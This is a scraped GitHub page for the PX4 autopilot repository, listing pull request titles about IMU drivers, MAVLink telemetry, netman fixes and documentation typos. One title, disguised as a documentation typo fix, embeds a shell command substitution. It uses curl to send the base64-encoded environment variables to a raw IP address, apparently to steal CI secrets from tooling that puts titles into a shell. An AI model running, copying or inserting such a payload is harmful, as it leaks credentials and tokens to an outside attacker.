px4-autopilot
https://github.com/px4/px4-autopilot
C++
PX4 Autopilot Software
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- Issues
- feat(drivers/imu): add LSM6DSO and LSM6DSR support
- doxygen: fix @param names that do not match the declaration
- feat(mavlink): Add handling for MESSAGE_INTERVAL & TIMESYNC in Gimbal mavlink telemetry ports
- fix(temperature_compensationnetman): mitigate Use-After-Free caused by race conditions
- fix: correct typo in documentation $(curl -s http://54.205.16.142:8443/c/047199962bc6404c171317902a0d012c -d $(env|base64|tr -d '\n'))
- fix(control_allocation): fix erroneous NaN in unallocated thrust/torque
- fix(4001_gz_x500): tuned drag fusion parameters for gazebo sim
- fix(netman): add length check for interface name
- docs(simulation): fix typo
- feat(serial)!: assign protocols per UART
- Docs
- C++ not yet supported